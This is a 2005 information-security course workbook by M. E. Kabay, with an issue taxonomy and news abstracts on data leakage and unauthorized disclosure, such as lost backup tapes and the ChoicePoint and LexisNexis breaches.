INFOSEC UPDATE 2005

Student Workbook

Syracuse University January 5-6, 2006

M. E. Kabay, PhD, CISSP Assoc. Prof. Information Assurance Program Director, MSIA & BSIA Division of Business Management Norwich University

mkabay@norwich.edu

01 Introduction

Category 01 Introduction

2005-12-31 Introduction

M. E. Kabay, PhD, CISSP

WELCOME

Welcome to the 2005 edition of the Information Security Year in Review (IYIR) project.

In 1993 and 1994, I was an adjunct professor in the Institute for Government Informatics Professionals in Ottawa, Canada under the aegis of the University of Ottawa. I taught a one-semester course introducting information security to government personnel and enjoyed the experience immensely. Many of the chapters of my 1996 textbook, _The NCSA Guide to Enterprise Security_ published by McGraw-Hill were field-tested by my students.

In 1995, I was asked if I could run a seminar for graduates of my courses to bring them up to date on developments across the entire field of information security. Our course had twenty students and I so enjoyed it that I continued to develop the material and teach the course with the NCSA (National Computer Security Association; later called ICSA and then eventually renamed TruSecure Corporation, its current name) all over the United States, Canada, Europe, Asia and the Caribbean.

After a few years of working on this project, it became obvious that saving abstracts in a WordPerfect file was not going to cut it as an orderly method for organizing the increasing mass of information that I was encountering in my research. I developed a simple database in 1997 and have continued to refine it ever since then. The database allows me to store information in an orderly way and -- most important -- to _find_ the information quickly. For that purpose, I put in as many keywords as I can think of quickly; I also classify each topic using a taxonomy that has grown in complexity and coverage over the years (more about the taxonomy in the next section).

In 2004, I was privileged to begin working with Norwich students Karthik Raman (project leader), Krenar Komoni and Irfan Sehic as my research assistants. These excellent students have provided invaluable assistance in transferring data from NewsScan, NIPC/DHS reports and other sources into the database and have also done the first cut of classification and keyword generation. They have enormously improved the coverage of the field and are continuing their work with me to expand the database to further sources in the coming year. It is difficult to estimate the hundreds of hours of time they have saved me.

I teach the IYIR course as a one-day workshop for my graduate students in the Master of Science in Information Assurance at Norwich University every June during their graduate week and then periodically during the year at different institutions as the occasion arises.

The IYIR reports are posted on my Web site now; see the introductory page at < http://www2.norwich.edu/mkabay/index.htm > and click on the IYIR button for a list of PDF files you can read on screen, search, or print out at will.

02 Taxonomy of INFOSEC Issues

Category 02 Taxonomy of INFOSEC Issues

2005-12-31 Introduction

INTRODUCTION

TAXONOMY

The taxonomy (classification scheme) of INFOSEC issues has grown over the years since I began the IYIR project. This taxonomy in now way represents a structurally sound classification with unambiguous, non-overlapping, atomic concepts; it is simply an organic development of my wish to present information in an orderly way in my courses and to be able to find examples of specific issues when I need them for teaching or writing.

The taxonomy changes almost every time I use it; the current taxonomy is listed here and is used throughout this edition of the IYIR report as well as in the INFOSEC UPDATE course based on the IYIR.

Code Description

- 0 Unclassified
- 01 Introduction
- 02 Taxonomy of INFOSEC Issues
- 03 Sources of Information
- 04 Copyright
- 05 Using IYIR
- 06 The INFOSEC UPDATE Course
- 07 Acknowledgements
- 08 About the Editor
- 10 Computer Crimes (cases, indictments, convictions, sentences)
- 11 Breaches of confidentiality
- 11.1 Data leakage
- 11.2 Unauthorized disclosure
- 11.3 Data theft
- 11.4 Covert channels
- 12 Wiretapping, interception (not jamming; not govt/law enforcement)
- 12.1 Wiretapping
- 12.2 Interception
- 12.3 Injection
- 13 Data diddling, data corruption, embezzlement
- 13.1 Data diddling
- 13.2 Data corruption & destruction
- 13.3 Embezzlement
- 13.4 Obsolescence
- 14 Viruses, virus-hoaxes, Trojans (assembly level or macro: not ActiveX or Java)
- 14.1 Viruses
- 14.2 Worms
- 14.3 Virus/worms
- 14.4 Trojans
- 14.5 Virus hoaxes
- 15 Fraud (not embezzlement), extortion, slamming
- 15.1 Fraud
- 15.2 Extortion
- 15.3 Slamming
- 16 INFOWAR, industrial espionage, hacktivism
- 16.1 Industrial espionage
- 16.2 Industrial information systems sabotage
- 16.3 Infrastructure protection & homeland security
- 16.4 Military & government perspectives on INFOWAR
- 16.5 Hacktivism
- 16.6 Disinformation, PSYOPS
- 17 Penetration, phreaking, cramming, uncapping (entering systems, stealing telephone or other services)
- 17.1 Penetration
- 17.2 Web vandalism
- 17.3 Phreaking, cramming, uncapping, theft of services
- 18 Theft/loss of equipment (laptops, ATMs, computers, cables, network components)
- 18.1 Theft of equipment
- 18.2 Loss of equipment

- 19 Counterfeits, forgery (including commercial software/music piracy)
- 19.1 Software piracy
- 19.2 Music piracy
- 19.3 Movies / TV piracy
- 19.4 Books / e-books piracy
- 19.5 Games piracy
- 19.6 Counterfeit currency, credit-cards, other negotiable tokens
- 19.7 Counterfeit legal or business documents
- 19.8 Plagiarism
- 19.9 Counterfeit products (hardware, clothing etc.)
- 1A Criminal hacker scene (conventions, meetings, testimony, biographies, publications)
- 1A1 Criminal hacker conventions and meetings
- 1A2 Criminal hacker testimony in court or committees
- 1A3 Biographical notes on individual criminals (including arrests, trials)
- 1A4 Criminal hacker publications
- 1A5 Criminal hacker organizations
- 1A6 Criminal hacker psychology
- 1B Pornography, Net-harm, cyberstalking, gambling, online auctions
- 1B1 Adult pornography
- 1B2 Child pornography
- 1B3 Pedophilia, kidnapping, Net-adoption fraud
- 1B4 Stalking & harassment
- 1B5 Gambling
- 1B6 Auctions
- 1B7 Hate groups, speech
- 1B8 Traffic in women, slavery
- 1B9 Non-virus hoaxes, urban myths
- 1C Identity, impersonation, spoofing
- 1C1 Impersonation
- 1C2 Identity theft
- 1C3 Pseudonymity
- 1C4 Anonymity
- 1C5 Phishing
- 1D Law Enforcement & Forensics (technology, organizations, proposals, litigation, rulings, judgements)
- 1D1 Organizations, cooperation for law enforcement
- 1D2 Technology for law enforcement
- 1D3 Litigation, legal rulings, judgements affecting law enforcement
- 1D4 Government funding for law enforcement
- 1E Homeland Security
- 20 Emerging Vulnerabilities & Defenses
- 21 Quality assurance failures including design flaws
- 21.1 General QA failures
- 21.2 Security product QA failures
- 21.3 Embedded processors
- 21.4 SCADA (supervisory control and data acquisition) systems, vehicle controls
- 21.5 Robots
- 22 Availability problems
- 22.1 DoS attacks
- 22.2 DDoS attacks
- 22.3 DoS countermeasures
- 22.4 Accidental availability disruptions
- 23 Internet tools
- 23.1 Java
- 23.2 Javascript
- 23.3 ActiveX
- 23.4 HTML, XML
- 23.5 E-mail & instant messaging or chat
- 23.6 Web-site infrastructure, general Web security issues
- 23.7 VoIP
- 23.8 SMS
- 24 Operating systems, network operating systems, TCP/IP problems (alerts & improvements)
- 24.1 Windows 9x/Me
- 24.2 Windows NT/2K/XP
- 24.3 UNIX flavors
- 24.4 TCP/IP, HTTP, DNS
- 24.5 LAN OS

- 24.6 WAP, WEP, Wi-Fi, Bluetooth, 802.11, WiMax
- 24.7 SWDR (Software-defined radio)
- 24.8 MAC OS
- 24.9 Peer-to-peer networking
- 24.A Secure processors
- 24.B Robust systems (hw / sw)
- 25 Computer remote control & disruption
- 25.1 Remote control, RATs, reprogramming, auto-updates
- 25.2 Jamming
- 25.3 RFI, HERF, EMP/T
- 26 Health effects of electronic equipment (phones, screens, etc.)
- 26.1 Radiation
- 26.2 Toxic materials
- 26.3 Heat
- 27 Security tools
- 27.1 Vulnerability assessment
- 27.2 Port scans
- 27.3 Intrusion detection systems
- 27.4 Firewalls & other perimeter defenses
- 27.5 Honeypots
- 27.6 Honeynets
- 27.7 Anti-malware technology
- 28 Automated surveillance
- 28.1 Spyware, Web bugs & cookies
- 28.2 Scumware
- 28.3 Keystroke loggers
- 28.4 Cell/mobile phones/GPS/cameras
- 28.5 Serial numbers
- 28.6 RFID tags
- 29 Sociology of cyberspace
- 29.1 Addiction, games & violence
- 29.2 Cyberdating & cybersex
- 29.3 Digital divide
- 29.4 Online & electronic voting
- 29.5 Online legal proceedings
- 29.6 Flash crowds, social e-links
- 29.7 Outsourcing
- 30 Management & Policy
- 31 The state of information security & technology
- 31.1 Surveys, studies, audits of security
- 31.2 Estimates, guesses, predictions, forecasts concerning security
- 31.3 New technology with security implications
- 31.4 Outsourcing
- 32 Censorship, indecency laws, 1st amendment (law)
- 32.1 Censorship in the USA
- 32.2 Censorship outside the USA
- 33 Policies, risk analysis, risk management
- 33.1 Acceptable use policies
- 33.2 Span, spin, spit & splogs
- 33.3 Antispam
- 33.4 Authorization, access controls
- 33.5 Risk analysis & management
- 34 Net filters, monitoring (technologies)
- 34.1 Net filters
- 34.2 Usage monitoring, audit trails (employees, children)
- 35 DNS conflicts, trademark violations (Net, Web)
- 35.1 Cybersquatting
- 35.2 Trademarks vs DNS
- 35.3 Politics of the DNS
- 36 Responses to intrusion
- 37 Education in security & ethics
- 37.1 Elementary & middle school
- 37.2 High school
- 37.3 Undergraduate degrees
- 37.4 Master's degrees
- 37.5 Doctoral degrees

- 37.6 Industry courses
- 37.7 Conferences
- 37.8 Web sites
- 37.9 White papers
- 38 Consumer/employee privacy, profiling, trade in personal information
- 38.1 Consumer profiling
- 38.2 Trade in personal information
- 38.3 Industry efforts for privacy protection
- 38.4 International agreements on security, privacy, Net law
- 38.5 EU legislation & regulation concerning privacy
- 38.6 US legislation & regulation concerning privacy
- 38.7 Other legislation & regulation concerning privacy
- 38.8 Law enforcement & privacy
- 38.9 Surveillance
- 38.A Medical / HIPAA
- 40 Defensive Technology, Law of E-commerce, Intellectual Property
- 41 Cryptanalysis techniques & tools
- 42 Crypto algorithms (weakness, brute-force attacks, implementation flaws)
- 42.1 Crypto algorithm weaknesses
- 42.2 Brute-force attacks
- 42.3 Crypto product implementation flaws
- 43 I&A products (tokens, biometrics, passwords, Kerberos)
- 43.1 Tokens
- 43.2 Biometrics
- 43.3 Passwords
- 43.4 Kerberos
- 43.5 Single sign-on
- 43.6 E-mail authentication (e.g., SPF & SenderID)
- 44 Encryption algorithms, products (including steganography)
- 44.1 Crypto algorithms
- 44.2 Crypto products
- 44.3 Steganography
- 45 E-commerce security, digital signature, products, digital cash, e-payments
- 45.1 PKI (Digital signatures / certificates)
- 45.2 Digital cash
- 45.3 Micropayments
- 45.4 E-payments / e-wallets / credit-cards
- 45.5 Watermarks / digital-rights management / copy protection
- 45.6 Smart cards and other e-commerce security measures
- 45.7 Sales taxes on Internet commerce
- 45.8 E-commerce laws
- 45.9 E-shopping carts
- 46 Cryptography exports from US; Key escrow
- 47 US computer-crime laws
- 48 Foreign cyberlaws (not cases or sentences)
- 48.1 Non-US cryptography laws
- 48.2 Non-US computer-crime laws
- 48.3 Non-US intellectual property laws
- 49 Privacy, government surveillance, legislation, agreements
- 4A Evolution of Net law: framing, pointing, linking, jurisdiction
- 4A1 Framing
- 4A2 Pointing, linking, deep linking, metatext
- 4A3 Jurisdiction
- 4A4 Blocking
- 4A5 Archives
- 4A6 Libel
- 4A7 Spam
- 4A8 Liability
- 4B Intellectual property: patents, copyrights (law)
- 4B1 Copyrights
- 4B2 Patents
- 4B3 Reverse engineering
- 4B4 EULA (End-user license agreements)
- 4B5 Trademarks
- 4C Security paradigms, risk management, site-security certification, professional certification
- 4C1 Paradigms, security standards

- 4C2 Risk management methodology & tools
- 4C3 Certification of site security, privacy protection
- 4C4 Professional certification in security, auditing
- 4C5 Academic/Industry/Vendor/Govt efforts
- 4D Funny / miscellaneous

03 Sources of Information

Category 03 Sources of Information

2005-12-31 Introduction

INTRODUCTION

In the early days, I wrote all the abstracts myself. As the size of the database grew, this practice became a terrible and limiting burden. I was thrilled -- and still am -- to get permission to quote the superb abstracts written by John Gehl and Suzanne Douglas, original editors of EDUPAGE and now of the daily_NewsScan_ and weekly_Innovation_ e-publications. At this point, their work is a major component of the IYIR.

In addition, I have been quoting (with attribution) many of the contributors to Peter G. Neumann's RISKS Forum Digest. I regret that I have fallen behind in summarizing this publication since about 2004 but hope to get back on track with the help of volunteers and assistants.

Lately, the Daily Reports from NIPC (National Infrastructure Protection Center) (now the DHS daily report) have proven valuable in supplementing the material at hand.

Bruce Schneier, famed cryptographer and a valued commentator on all matters of security, has kindly allowed me to include excerpts from his monthly columns in his Crypto-Gram newsletter.

I also naturally continue to write my own abstracts of interesting articles when necessary.

For a list of news sources that cover information security news, see < http://www2.norwich.edu/mkabay/overviews/infosec_ed.pdf >.

For more information about NewsScan and Innovation, see < http://www.newsscan.com >.

For more information about RISKS Forum Digest, see the archives at <<u>http://catless.ncl.ac.uk/Risks</u>/> for HTML versions or at < <u>http://the.wiretapped.net/security/textfiles/risks-digest</u>/> for text versions.

Dr Neumann asks that reprints from RISKS include the following note and the following should be considered as a blanket notification for all verbatim republication of RISKS materials throughout this database:

* * *

From the

FORUM ON RISKS TO THE PUBLIC IN COMPUTERS AND RELATED SYSTEMS (comp.risks) ACM Committee on Computers and Public Policy, Peter G. Neumann, moderator

See < http://www.csl.sri.com/users/risko/risksinfo.html > for full information.

Reused without explicit authorization under blanket permission granted for all Risks-Forum Digest materials. The author(s), the RISKS moderator, and the ACM have no connection with this reuse.

Information Security Magazine is at < http://www.infosecmag.com > and subscriptions to the Security Wire Digest are available through < http://infosecuritymag.bellevue.com >.

The NIPC Daily Report is available through < http://www.nipc.gov/ >.

For free subscriptions to Bruce Schneier's Crypto-Gram, see < http://www.counterpane.com/crypto-gram.html >.

04 Copyright

Category 04 Copyright 2005-12-31 Introduction

INTRODUCTION

As you can see at the bottom of every page of the IYIR report and the INFOSEC UPDATE, I assert copyright over this presentation (only) of the information my research team and I have collected. This is called a _compilation copyright_ and in no way derogates the copyrights of all original copyright holders. My contribution is primarily the organization and presentation of this information. I do hold the copyright on my own abstracts and on the keywords. I assert copyright purely to prevent scoundrels from SELLING what is supposed to be available FREE. The PDF version of the book you are looking at will be posted on my Web site for anyone to use.

05 Using IYIR

Category 05 Using IYIR 2005-12-31 Introduction

INTRODUCTION

Anyone who wants to refer to these IYIR and INFOSEC UPDATE documents is completely welcome to do so freely _provided_ that no one tries to make other people pay for the materials. You are welcome to reprint the documents provided that each page you choose to print is in the original format (that's why I use Acrobat PDF files to distribute the information). Just remember, if I ever find out that someone has charged somebody for what I freely give away I am going to be really, really mad!

You may, of course, use the _original_ documents as you and the copyright owners agree.

As for posting these files on your own Web sites, DON'T! I update the files constantly and absolutely do not want to have to hunt down old copies of the work and replace them with newer versions. So you're welcome to link to the files, but please do __not__ copy them to any other Web sites.

06 The INFOSEC UPDATE Course

Category 06 The INFOSEC UPDATE Course 2005-12-31 Introduction

INTRODUCTION

The INFOSEC UPDATE course is usually a two-day workshop that brings participants up to date on topics across the entire field of information security. The four half-day sessions cover the following broad areas:

Day 1: AM: Computer Crime Update PM: Emerging Vulnerabilities

Day 2: AM: Management , Corporate Policy PM: Cryptography, Law, Public Policy

For full details, see section 2 on Taxonomy.

I used to prepare slides based on the abstracts so that the students would have a workbook consisting of keywords in the slide and the details at the bottom of the page. However, this approach became unmanageable by the time I reached workbook lengths of 475 pages. It was simply too much effort for relatively minor benefits. I have therefore tried a different, much simpler approach over the last few years. I mark selected topics in my database and created the workbook from a report file. The whole thing takes me a few minutes and allows me to keep the workbook absolutely up to date. I hope that course participants will find it a useful resource and an acceptable format for the course.

Starting in 2005, I spared my MSIA graduate students the agony of sweltering through two solid days of this stuff and shrank their version of the INFOSEC UPDATE to a single day. However, if we ever get air conditioning, watch out!

07 Acknowledgements

Category 07 Acknowledgements

2005-12-31 Introduction

INTRODUCTION

ACKNOWLEDGEMENTS

I would like to acknowledge the encouragement and support of many colleagues who have contributed to this project over the years. In particular, John Gehl and Suzanne Douglas, original editors of EDUPAGE and then later of NEWSSCAN and INNOVATION, stand out for their kindness in so generously allowing me to quote them verbatim in so many hundreds of stories. Thanks guys -- I simply could not do this without your help.

The editors of EDUPAGE kindly continued the tradition and have allowed me to include occasional abstracts from their publication.

My colleagues at TruSecure Corporation were always supportive and encouraging during the years I continued this work until 2000; I especially thank my favorite curmudgeon, David Kennedy, Director of Resarch for TruSecure, for many years of continuing friendship.

I also want to thank my colleagues Phil Susmann and COL Tom Aldrich at Norwich University and the National Center for the Study of Counterterrorism and Cybercrime for their encouragement and support and the opportunity to teach the two-day INFOSEC Update for several years at the annual e-ProtectIT Conference (http://www.e-protectIT.org).

My sincere thanks to my Norwich University research assistants, Karthik Raman (Chief Boss Man and Gang Leader), Krenar Komoni, Michael Martell, and Chris Aldrich. Thanks also to MSIA alumni volunteers Clark Cummings and Steve Lovaas for their contributions. Josh Durdin and Lofton Newton, although newcomers to the project, have started their contributions well and I look forward to further work with them.

Thanks to Dr Fred Snow, former Dean of Online Graduate Studies and to Dr Bill Clements, current Dean, for their support (moral and financial) in building the research team that has made this project easier.

And finally, as always, I thank my wife, Deborah Black, light of my life, for all her infinitely varied support over many years and in all ways.

About the Editor

Category 08 About the Editor

2005-12-31 Introduction

INTRODUCTION

08

Here's a little information about me. For exhaustive, not to say exhausting, details, you can visit my Web site at < http://www2.norwich.edu/mkabay > and click on my CV link.

I began programming in assembler at age 15 in 1965. In 1976, I received his PhD from Dartmouth College in applied statistics and invertebrate zoology. Joined a compiler team in 1979 for a new 4GL and RDBMS in the U.S. and then joined Hewlett-Packard Canada in 1980, winning the Systems Engineer of the Year Award in 1982. Have published over 850 technical papers in operations management and security, a 1996 textbook on security, was Technical Editor of the 4th Edition of the _Computer Security Handbook_ (Wiley, 2002) and am working on the 5th edition with Senior Editor Sy Bosworth and new third editor Eric Whyne. Have lectured on security and information warfare at the US Army War College, NATO HQ, NATO Counterintelligence, and in the UK, France, Germany, Japan and China. Returned to academia full time in July 2001 and am Associate Professor of Information Assurance in the Division of Business & Management at Norwich University, Northfield, VT 05663-1035 USA as well as the Director of the Master's Program in Information Assurance (http://www.msia.norwich.edu/) and of the Bachelor's program in IA (http://www.norwich.edu/academics/business/informationassurance.html).

V: 802-479-7937 E: mkabay@norwich.edu W: http://www2.norwich.edu/mkabay

11.1 Data leakage

Category 11.1	Data leakage
2005-04-07	German police hard drive sale confidential information eBay encryption password protection absent

DHS IAIP Daily;

http://www.scmagazine.com/news/index.cfm?fuseaction=newsDeta ils&newsUID=023c9f0f-7295-49c5-b349-847df8e174b2&newsType=La test%20News

GERMAN POLICE HARD DRIVE CONTAINING CONFIDENTIAL INFORMATION SOLD ON EBAY

A hard drive full of confidential police data has been sold on eBay, for only \$25. Germany's Spiegel newspaper reported earlier this week that the 20GB hard drive contained a raft of information about Brandenburg police, including details of political security situations. "This week's exposure of leaked and highly critical information from the Brandenburg police in Germany reinforces how important it is to never let mobile devices or hard drives leave the office without being adequately protected with encryption and strong password protection -- even after they have been discarded," said Peter Larsson, CEO of mobile technology company Pointsec. The drive was eventually bought by a student from Potsdam who alerted police once he realized what it contained.

Category 11.1	Data leakage
2005-05-02	data leakage loss backup tapes personal information employees history Social Security Numbers (SSN)

RISKS; http://tinyurl.com/cfgfm; http://tinyurl.com/9e86u; 23 http://tinyurl.com/7ejo3

IRON MOUNTAIN LOSES BACKUP TAPES IN FOURTH INCIDENT THIS YEAR

Peter G. Neumann reported another serious data loss:

Time Warner Inc. Data on 600,000 current and former employees stored on computer backup tapes was lost by an outside storage company. The Secret Service is now investigating. The tapes included names and Social Security information on current and former Time Warner employees, dependents, and beneficiaries, back to 1986.

In addition, the *Wall Street Journal*, 3 May 2005, noted that the tapes were lost by Iron Mountain Inc., a data-storage company based in Boston. An Iron Mountain spokeswoman said this is the fourth time this year that Iron Mountain has lost tapes during delivery to a storage facility.

Category 11.1 Data leakage

2005-06-10 personal information privacy confidentiality control banks magnetic tapes customer data loss theft secure electronic channels

RISKS; http://www.nytimes.com/2005/06/09/business/09data.html?th&emc=th 23 90

THE SKY HAS *ALREADY* FALLEN

In Feb 2004, a Japanese division of Citibank had a mag tape disappear during shipment by truck from its data management center in Singapore, with information on about 120,000 customers. The tape has never been found. This week it happened again to a box of tapes sent by United Parcel Service, with info on nearly 4,000,000 American customers. Citigroup is apparently in the process of responding to the Singapore case with the company-wide introduction of "secure electronic channels" -- although that process is not yet complete. [Tom Zeller Jr., *The New York Times*, 9 Jun 2005; abstract by PGN]

Zeller's article has more on ChoicePoint, 10 million consumers falling victim to identity theft each year, discussion of the 2003 California law that mandates reporting, and this delightful quote from Mike Gibbons (former FBI chief of cybercrime investigations, now a consultant for Unisys): "I think there are some people who dismiss this as a sky-is-falling problem. But the sky has already fallen and it's just a matter of when a piece hits you in the head."

Also a quote from Bruce Schneier: "There are social expectations about security that can't be met, but the practices are still so shoddy."

86

Category 11.1	Data leakage		
2005-07-31	data leakage discarded systems data software wiping era	sure scavengin	ig backups
RISKS; http://www.	geoffreyhuntley.com/news/data-security-101/	23	95
WIPE YOUR DISKS I	BEFORE SELLING YOUR COMPUTERS AND DON'T INCLU	DE BACKUP TA	APES
The State Transit Authority of New South Wales in Australia sold 18 IBM RS/6000 E30 servers to the company where Geoffrey Huntley works. He found that "[T]he systems contained not only the complete software used by the SAT-NSW but also employee data including PIN information used to 'secure' the system against unauthorized access, and ticketing data including incident reports filed by customers. For good measure, the backup tapes were also included." [Abstract by Florian Liekweg]			
Category 11.1	Data leakage		
2005-11-21	hurricane Katrina disaster lost records encryption backu	ps critical	
DHS IAIP Daily; http://fcw.com/article91509-11-21-05-Print			
LOST RECORDS CONVINCE OFFICIALS THAT ENCRYPTED DIGITAL BACKUPS ARE CRUCIAL			
After Hurricane Katrina devastated the Gulf Coast region, along with many vital records, federal officials realized they needed			

to digitize such records to prevent future data loss. But storage analysts say federal agencies are behind the curve when it comes to safeguarding digitized records stored elsewhere. Federal agencies are not encrypting their off-site data, said Jon Oltsik, a senior analyst at research firm Enterprise Strategy Group. Katrina's destruction demonstrated the importance of electronic backup copies of documents such as health records and flood maps. But by keeping copies of critical information, agencies also create new opportunities for data theft. Oltsik is the author of a recent survey that asked 388 agencies and companies whether they encrypt backup data as they copy it to tape. "Of the five industry segments we looked at, [the local/federal] government was the worst," he said. Only three percent of government organizations said they always encrypt backup data, and 77 percent said they never do. Overall, only seven percent of the organizations surveyed said they always encrypt backup data, despite the fact that vendors have offered backup encryption tools for at least 15 years, Oltsik said.

11.2 Unauthorized disclosure

Category	11.2	Unauthorized disclosure		
2005-01-	26	data leakage unauthorized disclosure medical information FERPA legal liability pharmaceutical usage drug history	n Web site un	niversity
RISKS			23	68
HARVAF	RD UNIVE	RSITY DATA LEAKAGE OCCASIONS HORRIBLE PUN		
RISKS m	oderator Pe	ter G. Neumann reported on a case of potential data leakage:		
website, id employees immediate easily avai a special s also had t	Commons l s that was e ely shut dow lable on the ecurity state he same pro-	The Harvard Crimson* was reported in that newspaper on 21 Jan 2005, no Poll Tool, for months had contained confidential information on the drug p asily accessible to outsiders. After *The Crimson* demonstrated this to un vn. Authentication information required for access was based on a Harvard e Web. In addition, the Family Educational Rights Privacy Act (FERPA) re us for total privacy, and that status was not properly enforced. The universe oblems which still existed at the time of the article in *The Crimson*. The thich prohibits unauthorized disclosure of individual's medical records.	ourchase history iversity officials d ID and birthd equires that stuc- sity's drug insure	y of students and s, the website was late that were lents may request er, PharmaCare,
someone	e might hav	nal uses of marijuana were covered by insurance, e found the situation HIPAA-pot-amus-ing. PGN]		
Category		Unauthorized disclosure		
2005-01-	-27	autocomplete e-mail addresses data leakage confidentiali	•	
RISKS			23	69
AUTOCO	OMPLETE	AUTOLYSIS AUTOREPAIR AW TO HELL WITH IT		
Thom Ku	ıhn points o	out the RISKS of allowing e-mail programs to autocomplete addresses:		
his comm more vene	ents really g omous repl	tening to a public affairs program on NPR. One of the speakers was represented to me. I Googled him and sent him a somewhat venomous e-mail. A fee y. End of story? Not quite. My e-mail address was now in his shortcut list. Ineant to be an internal and confidential e-mail from this gentleman to this or	w hours later I A few weeks lat	got an even
Category	11.2	Unauthorized disclosure		
2005-02-	02	Acer Australia privacy breach confidentiality customer de mail orders	tails shopper	s Web site e-
NewsSca	ın; http://	australianit.news.com.au/articles/0		

PRIVACY BREACH AT ACER SITE

Acer's online customers suffered a major privacy breach after the computer maker's Australian shopping website exposed their personal details to other shoppers using the service. The online shopping portal www.shopacer.com.au revealed purchase order information including names, delivery addresses, e-mails and contact numbers of customers who had recently placed orders at the site. Customer credit card numbers were not disclosed. Customers who logged on to the site to check the status of their equipment orders via a bookmark stored in their web browser were freely able to access order details of other customers. (The Australian 2 Feb 2005)

 Category
 11.2
 Unauthorized disclosure

 2005-02-04
 data leakage Word comments document confidentiality

 RISKS; http://tinyurl.com/43dhg
 23
 71

 ANOTHER MS-WORD INFO LEAK
 Picked Alexenements document contribution are relevable from the MaCill

Richard Akerman wrote about a case where a scientist made marginal comments about a press release from the McGill University Health Centre about health risks of Viox. The comments, made in MS-Word, were supposedly restricted but were actually visible to anyone using Windows XP and MS Word 2003.

Category 11.2 Unauthorized disclosure

2005-02-10 Mailman flaw mail list software password information disclosure Apache vulnerable update issued

DHS IAIP Daily; http://news.com.com/Flaw+in+maillist+software+leaks+passwor ds/2100-1002_3-5571576.html?tag=nefd.top

FLAW IN MAIL-LIST SOFTWARE LEAKS PASSWORDS

A previously unknown vulnerability in Mailman, a popular open-source program for managing mailing lists, has led to the theft of the password file for a well-known security discussion group. The theft, discovered last week and reported in an announcement to the Full Disclosure security mailing list on Wednesday, February 9, casts uncertainty on the security of other discussion groups that use the open-source Mailman package. By specially crafting a Web address, an attacker can obtain the password for every member of a discussion group. Servers that run Apache 2.0 and Mailman are suspected to be immune to exploitation of the vulnerability, according to a security advisory on the Mailman Website. Vendor update is available: http://www.gnu.org/software/mailman/security.html

Category 11.2 Unauthorized disclosure 2005-02-18 ChoicePoint data leakage consumer privacy Equifax credit bureau Social Security numbers SSN reports identity theft

NewsScan; http://www.washingtonpost.com/wp-dyn/articles/A33802-2005Feb18.html

CHOICEPOINT LEAKS CONSUMERS' DATA

ChoicePoint, a spinoff of credit reporting agency Equifax, has come under fire for a major security breach that exposed the personal data records of as many as 145,000 consumers to thieves posing as legitimate businesses. The information revealed included names, addresses, Social Security numbers and credit reports. "The irony appears to be that ChoicePoint has not done its own due diligence in verifying the identities of those 'businesses' that apply to be customers," says Beth Givens, director of the Privacy Rights Clearinghouse. "They're not doing the very thing they claim their service enables their customers to achieve." In its defense, ChoicePoint claims it scrutinizes all account applications, including business license verification and individuals' background checks, but in this case the fraudulent identities had not been reported stolen yet and everything seemed in order. ChoicePoint marketing director James Lee says they uncovered the deception by tracking the pattern of searches the suspects were conducting. (Washington Post 18 Feb 2005)

Category 11.2	Unauthorized disclosure
2005-02-26	bank customer data loss encryption failure transportation security airline baggage magnetic backup tape identity theft

RISKS; http://news.bbc.co.uk/1/hi/business/4300371.stm 23

BofA LOSES BACKUP TAPES IN TRANSIT WITH CUSTOMER DATA

Bank of America "lost computer tapes containing account details of more than one million customers who are US federal employees." The data were unencrypted. Nicolai E M Plum added, "There is another more general RISK, since the theft occurred on a commercial airline flight. There is a conflict between wishing to lock your luggage to prevent theft from luggage handlers (a group of people known to steal from luggage) and being told that if you lock your luggage the lock may be forced open and destroyed by the Transport Security Administration searching your bags - you can't win. The "TSA [master] key" lock idea will just mean the thieving baggage handler will acquire one of the master keys beforehand."

76

Category 11.2 Unauthorized disclosure 2005-04-01 University of Georgia personal sensitive information disclosure e-portfolio system EDUPAGE; http://chronicle.com/prm/weekly/v51/i30/30a04102.htm

GEORGIA UNCOVERS MISUSE OF ONLINE PORTFOLIOS

After discovering files containing personal information on its e-portfolio system, officials at the University of Georgia are reviewing the institution's policies for online portfolios. A student in the university's New Media Institute--part of the school's journalism program--had used the e-portfolio system to store a list of names and credit card numbers on a university-owned server. Officials at the school are not sure how the student obtained the list, which came from a North Carolina company that sells pharmaceutical products online, or what the student intended to do with it. The server where the file resided was immediately taken down, and officials are now combing through the rest of the files before re-posting them, looking for any other inappropriate information. According to Scott Shamp, director of the New Media Institute, the incident has raised questions about how long and under what terms the university will offer online portfolio services to its students. Shamp, who expressed support for online portfolios, pointed to the possibility of third-party options to address concerns over liability for the institution. Chronicle of Higher Education, 1 April 2005 (sub. req'd)

Category 11.2 Unauthorized disclosure

2005-04-12 LexisNexis data loss personal information disclosure identity ID thieves

EDUPAGE; http://www.reuters.com/newsArticle.jhtml?storyID=8159934

LEXISNEXIS DISCLOSES MORE DATA LOSSES

LexisNexis this week revealed that much more personal information was exposed to identity thieves than reported in estimates released last month. Information including Social Security numbers for 310,000 U.S. Citizens was exposed--nearly 10 times the 32,000 previously announced by company officials. According to LexisNexis, the data were compromised in a total of 59 separate incidents over the past two years, most of them at subsidiary Seisint, which LexisNexis bought in July 2004. A spate of data breaches lately has prompted the U.S. Congress to hold hearings on problems affecting the data-brokerage industry and to propose regulations that would add strict controls on the collection and sale of personal information. Sen. Charles Schumer (D-N.Y.) said, "When a company like LexisNexis so badly underestimates its own ID theft breaches, it is clear that things are totally out of hand." Reuters, 12 April 2005

Category 11.2 Unauthorized disclosure

2005-04-21 hacking penetration Carnegie Mellon University data breach personal information disclosure

EDUPAGE; http://msnbc.msn.com/id/7590506/

CARNEGIE MELLON DISCLOSES POSSIBLE DATA BREACH

Officials from Carnegie Mellon University are notifying about 5,000 students, graduates, and staff that their personal information may have been compromised on the university's network. The exposed information concerns graduates of the Tepper School of Business from 1997 to 2004; current graduate students; applicants to the doctoral program from 2003 to 2005; applicants to the MBA program from 2002 to 2004; and administrative employees. Officials said information about faculty and undergraduate students was not affected. Mike Laffin, spokesperson for the university, said the problem was discovered on April 10 and that there is currently no evidence that any of the exposed personal information has been used for fraudulent purposes. MSNBC, 21 April 2005

Category 11.2 Unauthorized disclosure 2005-05-21 university data leakage confidentiality privacy social security numbers SSN student faculty records

http://www.indystar.com/apps/pbcs.dll/article?AID=/20050521/NEWS01/50521 0449/1006&template=printart

PURDUE WARNS OF ANOTHER SECURITY BREACH

For the third time in the past year, Purdue University in West Lafayette has experienced a computer security breach that may have allowed illegal access to confidential faculty or student records.

University officials said Friday they are alerting 11,360 current and former employees that their Social Security numbers and other information may have been accessed electronically from at least one of four campus computer workstations.

"It is critical that we all -- whether involved in this incident or not -- monitor our credit reports and financial statements," James R. Bottum, vice president for information technology, said in a prepared statement. "The problem we've experienced here is just one example of how vulnerable all organizations can be."
